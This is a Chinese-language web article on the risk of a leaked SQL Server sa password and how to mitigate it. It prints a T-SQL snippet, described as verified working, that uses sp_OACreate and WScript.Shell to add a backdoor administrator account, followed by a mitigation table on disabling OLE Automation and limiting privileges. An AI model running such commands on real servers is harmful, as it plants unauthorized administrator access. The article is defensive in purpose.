首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 安全隱患:sa 權限被盜可導致作業系統完整淪陷

     編輯:關於SqlServer

風險本質

SQL Server sa 帳號權限相當於作業系統 Administrator。若 sa 密碼外洩,攻擊者可在查詢分析器執行 T-SQL,透過 OLE 自動化 呼叫 WScript.Shell 執行任意系統指令,完全控制伺服器。

攻擊示範碼(已驗證可行)

DECLARE @obj INT
EXEC sp_OACreate 'WScript.Shell', @obj OUT
EXEC sp_OAMethod @obj, 'Run', NULL, 'net user iamhacker opendoor /add'
EXEC sp_OAMethod @obj, 'Run', NULL, 'net localgroup Administrators iamhacker /add'
EXEC sp_OAMethod @obj, 'Run', NULL, 'net localgroup Users iamhacker /del'

原理剖析:

  • sp_OACreate 建立 WScript.Shell COM 物件
  • sp_OAMethod ... 'Run' 執行命令列指令
  • SQL Server 服務預設以 LocalSystem 身分執行 → 衍生程序擁有最高權限
  • 同理可啟動 notepad.exe 等 GUI 程式(工作管理員可見 SYSTEM 權限進程)

風險擴散面

  • 新增/刪除/修改系統使用者與群組
  • 關閉防火牆、修改登錄、安裝後門程式
  • 存取檔案系統、竊取資料、部署勒索軟體
  • 橫向移動攻擊內網其他主機

緩解對策

核心結論

「不要以為被駭的只是 SQL Server」——
一旦 sa 失守,整台伺服器與內網皆在攻擊者掌控中。
防護必須從「資料庫層」延伸至「作業系統與網路層」。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved
層面措施
帳號管理sa 必須設強複雜密碼、定期換碼、嚴禁共用
最小權限應用程式勿用 sa 連線;建立最低權限 SQL 登入
功能停用停用 Ole Automation Procedures(sp_configure),移除 sp_OA*、xp_cmdshell 等高風險預存程序
服務帳號SQL Server 服務改用專用網域帳號(非 LocalSystem/Administrator)
網路隔離防火牆封鎖 TCP 1433/UDP 1434 對外暴露
稽核監控啟用登入失敗稽核、監控 sp_OA* 呼叫異常